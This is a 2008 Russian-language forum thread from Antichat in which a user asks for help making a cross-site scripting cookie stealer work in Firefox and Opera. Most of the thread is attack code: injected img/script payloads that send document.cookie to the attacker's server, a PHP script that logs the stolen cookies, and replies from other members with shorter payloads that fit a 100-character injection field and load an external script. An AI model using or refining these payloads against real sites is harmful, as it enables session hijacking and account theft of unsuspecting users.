Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

15.12.2008, 23:42
|
|
Новичок
Регистрация: 31.10.2008
Сообщений: 15
Провел на форуме: 48847
Репутация:
1
|
|
вопрос по JavaScript
есть такой код
<img src="" id="q"/>
<script>q.src="mysite.php?a="+document.cookie</script>
к слову, в ответ назад передается картинка, чтобы все было красиво
так вот в чем проблема,
Firefox и Opera почемуто даже не пытается загрузить картинку по ссылке
а IE и Chrome загружет картинку влет, ну и конечно куки передаются
хотелось бы конечно наоборот чтобы опера и файрфокс подгружали картинку
помогите 
|
|
|

15.12.2008, 23:45
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме: 9220514
Репутация:
3338
|
|
В самом снифаке сделай отображение картинки после того, как он получил данные.
|
|
|

15.12.2008, 23:48
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме: 9220514
Репутация:
3338
|
|
Сообщение от TANZWUT
тип вопроса: сделайте за меня
пришла идея сделать гугл мапс на сайте. ключ получил, поставил на страничке, выставил координаты нужные, но хотелось бы с видом со спутника, фотками, подсказками с википедии как на скриншоте..
естественно отблагадарю 
http://habrahabr.ru/blogs/google/36859/
|
|
|

16.12.2008, 00:28
|
|
Новичок
Регистрация: 31.10.2008
Сообщений: 15
Провел на форуме: 48847
Репутация:
1
|
|
Сообщение от Pashkela
В самом снифаке сделай отображение картинки после того, как он получил данные.
не помогло, дело в том что браузер даже не пытается открыть картинку
а если в свойствах картинки взять полученную ссылку и насильно пихнуть в адресную строку, то грузиться
непонятно=/
//mysite.php
<?php
$h = fopen("cookies","a");
fwrite($h,$_GET[a]);
fwrite($h,"\n");
fclose($h);
echo @readfile ("kartinka.jpg");
?>
|
|
|

16.12.2008, 00:41
|
|
Постоянный
Регистрация: 30.08.2007
Сообщений: 773
Провел на форуме: 3069349
Репутация:
808
|
|
holden321,
Надо сделать следующее:
1) Отправлять правильный заголовок Content-Type
2) Не забывать кавычки вокруг индексов ( $_GET['a'] ), хотя php это терпит
3) Обратить внимание на название темы
|
|
|

16.12.2008, 00:55
|
|
Новичок
Регистрация: 31.10.2008
Сообщений: 15
Провел на форуме: 48847
Репутация:
1
|
|
astrologer, повторю вопрос:
есть такой код
<img src="" id="q"/>
<script>q.src="mysite.php?a="+document.cookie</script>
Firefox и Opera почемуто даже не пытается загрузить картинку по ссылке (q.src)
а IE и Chrome загружает картинку влет, ну и конечно куки передаются
теперь по теме ?
а програмку на php привел, потомучто предложили её изменить, ну чтобы всем видно было что тама все ок и вопще до нее дело даже не доходит
|
|
|

16.12.2008, 03:10
|
|
Постоянный
Регистрация: 04.12.2007
Сообщений: 424
Провел на форуме: 2364957
Репутация:
479
|
|
Сообщение от holden321
<img src="" id="q"/>
<script>q.src="mysite.php?a="+document.cookie</script>
q - это номер(id) элемента. а q.src это обращение к объекту q.
Как минимум -
<script language="JavaScript">
q = document.getElementById("q");
q.src="mysite.php?a="+document.cookie ;</script>
language на всякий случай
|
|
|

16.12.2008, 11:58
|
|
Новичок
Регистрация: 31.10.2008
Сообщений: 15
Провел на форуме: 48847
Репутация:
1
|
|
спасибо ntldr, но к сожалению слишком длинный скрипт получается, ограничение мешает.
может тогда подскажите как лучше сделать ?
вот есть такой код на странице:
PHP код:
<img src="ССЫЛКА" alt="" />
вместо ссылки можно подставить что угодно, но не более 100 символов
сейчас я подставляю:
"id="q"/><script>q.src="http://xx.x.xx.xx/f/z.php?a="+document.cookie</script><br alt=" // 87 символов
// получается
<img src=""id="q"/><script>q.src="http://xx.x.xx.xx/f/z.php?a="+document.cookie</script><br alt="" alt="" />
как я уже сказал, работает, но не во всех броузерах 
может можно по другому как нибудь сделать
|
|
|

16.12.2008, 12:33
|
|
Постоянный
Регистрация: 30.08.2007
Сообщений: 773
Провел на форуме: 3069349
Репутация:
808
|
|
Код:
"><script>(new Image).src='//example.com?'+document.cookie</script><br k="
Код:
"><script src="//example.com/script.js"></script><br k="
Последний раз редактировалось astrologer; 16.12.2008 в 12:35..
|
|
|

16.12.2008, 14:28
|
|
Новичок
Регистрация: 31.10.2008
Сообщений: 15
Провел на форуме: 48847
Репутация:
1
|
|
astrologer, первый код не работает, не знаю почему,
а со вторым кодом все ок
только в опере не загружается, думаю может запрещена такая подгрузка сриптов или не правильный код в js:
document.getElementById('q').src='http://xx.x.xx.xx/f/z.php?a='+document.cookie+'&e='+Math.random();
но мне важнее чтобы в файрфоксе работало.
спасибо
всем

|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|